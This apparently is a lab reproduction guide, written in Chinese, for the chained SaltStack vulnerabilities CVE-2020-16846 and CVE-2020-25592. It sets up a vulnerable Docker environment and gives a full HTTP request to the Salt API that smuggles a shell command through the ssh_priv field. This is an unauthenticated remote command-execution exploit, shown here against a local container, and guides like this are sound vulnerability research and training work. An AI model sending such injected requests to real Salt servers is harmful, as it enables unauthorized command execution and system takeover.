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# SaltStack 命令注入漏洞CVE-2020-16846
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846和CVE-2020-25592两个漏洞其中CVE-2020-25592允许任意用户调用SSH模块CVE-2020-16846允许用户执行任意命令。组合这两个漏洞将可以使未授权的攻击者通过Salt API执行任意命令。
参考链接:
- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
## 漏洞环境
执行如下命令启动一个SaltStack Master服务
```
docker compose up -d
```
环境启动后,将会在本地监听如下端口:
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口**需要通过https访问**
- 2222 这是容器内部的SSH服务器监听的端口
## 漏洞复现
`https://your-ip:8000/run`发送如下数据包:
```
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
```
通过`ssh_priv`位置注入命令`touch /tmp/success`,进入容器可见已执行成功:
![](1.png)